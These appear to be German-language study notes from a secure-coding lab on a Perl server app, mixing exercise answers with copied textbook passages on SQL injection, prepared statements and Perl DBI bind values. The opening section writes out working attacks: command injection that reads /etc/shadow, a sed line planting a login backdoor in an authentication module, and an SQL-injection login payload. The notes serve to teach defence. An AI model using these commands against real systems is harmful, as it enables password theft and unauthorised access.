Erstellen Sie auf dem Server im Ordner `/tmp` eine Datei namens `readme.txt`. Der Inhalt der Datei soll sein:

```
Bei telefonischen Anfragen von Herr W. Beinhart:
Dem Anrufer bitte Root-Passwort mitteilen!
```

```
ziu "list; echo -e 'Ihr Text...\n...kommt hier hin' > /tmp/readme.txt"
```

Lesen Sie die Passwort-Datenbank aller Systembenutzer aus! Falls Sie nicht wissen wie vorgehen: Suchen Sie im Internet oder anderen Quellen nach der Information, wo unter Linux die Passwörter abgelegt sind.

```
ziu "list; cat /etc/shadow"
```

«Jeglicher Input von ausserhalb des Codes kann Schadcode beinhalten / verursachen»

Backdoor einrichten

Sie können das Programm `sed` einsetzen um Dateien zu manipulieren:

```
ziu "list; sed -i '37ireturn (77777777777777777777, \"login ok\") if ($user eq \"hack
/usr/share/perl5/Fulla/Auth.pm"
ziu "list; ps aux|grep /usr/bin/fulla"
ziu "list; kill PROZESS-ID" / Neustart auf Serverseite
```

Sie werden die Server-Applikation neu starten müssen, damit Ihre Änderung live geht. «Abschiessen» können Sie den Servern über `ziu`:

```
ziu "list; ps aux|grep /usr/bin/fulla"
ziu "list; kill PROZESS-ID"
```

Starten müssen Sie aber dann manuell... warum?

Was ist neben der Sicherheit vor SQL-Injektion der eigentliche Hauptvorteil von «Prepared Statements»?

Bei eine Loop mit immer dem gleichen Query mit ändernden Werten ist die Performace viel besser.

SQL-Injection

```
my $sql = "SELECT id FROM user
WHERE name = ' ' or 1 = 1;# and pw_hash = 'djuf...' ";

ziu login " ' or 1 = 1; # "
```

Serverseitiges Hashen

```
mysql -uvmadmin -p fulla -e "SELECT PASSWORD('geheim') as pw;"
```

Beschreiben Sie den Unterschied zwischen «Prepared Statements» und «Interpolated Statements».

Bei «Interpolated Statements» wird der Query Client-Seitig zusammengesetzt und dann zum Server geschickt. Daher Anfällig auf Injektion.
Bei «Prepared Statements» wird der Query OHNE WERT von der DB «kompiliert». Neue Logik kann danach nicht mehr hinzu kommen.

White- or Blacklist

```
# Lese User-Eingabe von Kommandozeile
my $input = $ARGV[0];

# Definiere Array mit Wortliste
my @words = qw( home tmp etc usr bin );

# Prüfvariable
my $input_ok = '';

# Prüfe Eingabe gegen Wortliste in einer Schleife
foreach my $word (@words) {
    if ($input eq $word ) {

        # Markiere Eingabe als sicher
        $input_ok = $word;

        # Beende Schleife bei Treffer
        last;
    }
}

# Weiter im Programm...
if ($input_ok) {
    say "Eingabe '$input' wurde akzeptiert";
}
else {
    say "Eingabe '$input' wurde nicht akzeptiert";
}
```

Fix HTML-Injection

```
$encodedArtikel = encode_entities($artikel);

my $sth = $dbh->prepare($sql);
$sth->bind_param(1, $encodedArtikel, $dbh::SQL_VARCHAR);
$sth->bind_param(2, $bestand, $dbh::SQL_INTEGER);
$sth->bind_param(3, $preis,   $dbh::SQL_INTEGER);

if ($sth->execute()) {
    return "added $artikel in stock";
}
else {
    return "something went wrong: couldn't add $artikel to stock";
}
```

SQL-Injection

«Wir bezeichnen diese Form von SQL Injection auch als „**Blind SQL Injection**“, weil der Angreifer verschiedene mögliche SQL-Ausdrücke „blind“ ausprobieren muss. Tools in diesem Bereich bieten auch die Möglichkeit, gezielt Datenbankinhalte mittels Blind SQL Injection (genauer mit gezielten „Wahr-Falsch-Anfragen“) auszulesen.»

Da kommt dem Angreifer häufig eine Eigenschaft vieler Anwendungen entgegen:Fehler des SQL-Interpreters, die auf der Webseite ausgegeben werden. Dadurch wird das Erstellen eines entsprechenden Exploits begünstigt. Wir nennen dies **Error-Based SQL Injection**

Die **Gegenmaßnahme** für SQL Injection besteht im Grunde stets darin, den Steuerungskanal vom Datenkanal zu trennen. Wir erreichen dies am besten dadurch, dass wir dem Interpreter die einzelnen Parameter explizit mitteilen (Parametrisierung) oder, wenn dies nicht möglich ist, die entsprechenden Parameter explizit enkodieren (SQL Encoding).

Welches Risiko besteht? Sehr hoch: Auslesen oder Manipulieren von Datenbank-Inhalten, Umgehung von Anmeldeprüfungen, Denial of Service (Remote Database Shutdown). **Was ist die Ursache?** Unzureichende Trennung von Daten- und Steuerkanal, bzw. unzureichende Enkodierung von Ausgabeparametern. **Was muss ich tun?** Primär: Parametrisierung von Eingaben, z. B. durch Prepared Statements oder indirekt durch die Verwendung eines OR-Mappers (Abschn. 3.6.3). Sofern keine Parametrisierung möglich ist: SQL-Enkodierung von Parametern. Sekundär: Restriktive Eingabevaliedierung

OS Command Injection

Welches Risiko besteht? Angreifer können beliebige Kommandos auf Betriebssystemebene zur Ausführung bringen und dadurch das gesamte System kompromittieren. **Was ist die Ursache?** Verwenden nicht validierter Parameter in Kommandoaufrufen auf Betriebssystemebene. **Was muss ich tun?** Verzicht auf OS-Kommandoaufrufe oder Verwendung von SwitchStatements, bzw. globalen Indirektionen

Serverseitige Code-Injection

Welches Risiko besteht? Angreifer können schadhaften Programmcode serverseitig zur Ausführung bringen und dadurch das System potentiell vollständig kompromittieren. **Was ist die Ursache?** Verwendung unsicherer APIs sowie unsicherer Programmkonstrukte. **Was muss ich tun**? Primär: Verzicht auf dynamische Codeevaluierung und Codeeinbindung (Vermeidungsprinzip, Abschn. 3.3.7); Sekundär: Restriktive Eingabevaliedierung (Abschn. 3.6.2), Härtung der Plattform (Abschn. 3.17

Parameter Binding / Prepared Statements

A **bind value** is a value that can be bound to a placeholder declared within an SQL statement. This is similar to creating an on-the-fly SQL statement but instead of interpolating the generated value into the SQL statement, you specify a placeholder and then bind the generated value to that. For example:

$sth = $dbh->prepare("SELECT name, location FROM megaliths WHERE name = ?"); $sth->bind_param(1, $siteName);

The `bind_ param( )` method is the call that actually associates the supplied value with the given placeholder. The underlying database will correctly parse the placeholder and reserve a space for it, which is "filled in" when `bind_ param( )` is called. It is important to remember that `bind_ param( )` must be called *before* `execute( )`; otherwise, the missing value will not have been filled in and the statement execution will fail.

It's equally simple to specify multiple bind values within one statement, since `bind_ param( )` takes the index, starting from 1, of the parameter to bind the given value to. For example:

```
$sth = $dbh->prepare( "
            SELECT name, location
            FROM megaliths
            WHERE name = ?
            AND mapref = ?
            AND type LIKE ?
        " );
$sth->bind_param( 1, "Avebury" );
$sth->bind_param( 2, $mapreference );
$sth->bind_param( 3, "%Stone Circle%" );
```

Some database drivers can accept placeholders in the form of `:1`, `:2`, and so on, or even `:name` or `:somevalue`, but this is not guaranteed to be portable between databases. The only guaranteed portable placeholder form is a single question mark, `?`. Of course, if the underlying database in question doesn't support binding, the driver may fail to parse the statement completely.

Bind Values Versus Interpolated Statements

The actual difference lies in the way that databases handle bind values, assuming that they do. For example, most large database systems feature a data structure known as the "Shared SQL Cache," into which SQL statements are stored along with additional related information such as a *query execution plan* .

The general idea here is that if the statement already exists within the Shared SQL Cache, the database doesn't need to reprocess that statement before returning a handle to the statement. It can simply reuse the information stored in the cache. This process can increase performance quite dramatically in cases where the same SQL is executed over and over again.[51]

For example, say we wished to fetch the general information for 100 megalithic sites, using the name as the search field. We can write the following SQL to do so:

```
SELECT name, location, mapref
FROM megaliths
WHERE name = <search_term>
```

In the examples listed above, we've illustrated the use of bind values to supply conditions for the query. For the sake of badness, say we wanted to iterate through a list of database tables and return the row count from each one. The following piece of code illustrates the idea using an interpolated SQL statement:

```
foreach $tableName ( qw( megaliths, media, site_types ) ) {
    $sth = $dbh->prepare( "
                SELECT count(*)
                FROM $tableName
              " );
    $sth->execute(  );
    my $count = $sth->fetchrow_array(  );
    print "Table $tableName has $count rows\n";
}
```

By using an interpolated statement, this code would actually execute correctly and produce the desired results, albeit at the cost of parsing and executing four different SQL statements within the database. We could rewrite the code to use bind values, which would be more efficient (theoretically):

```
$sth = $dbh->prepare( "
                SELECT count(*)
                FROM ?
              " );
    $sth->bind_param( 1, $tableName );
    ...
```

On most databases, this statement would actually fail to parse at the `prepare( )` call, because placeholders can generally be used only for literal values. This is because the database needs enough information to create the query execution plan, and it can't do that with incomplete information (e.g., if it doesn't know the name of the table).

Additionally, the following code will fail, since you are binding more than just literal values:

```
$sth = $dbh->prepare( "
                SELECT count(*)
                FROM megaliths
                ?
    " );
    $sth->bind_param( 1, "WHERE name = 'Avebury'" );
```

Of course, your driver might just support this sort of thing, but don't rely on it working on other database systems!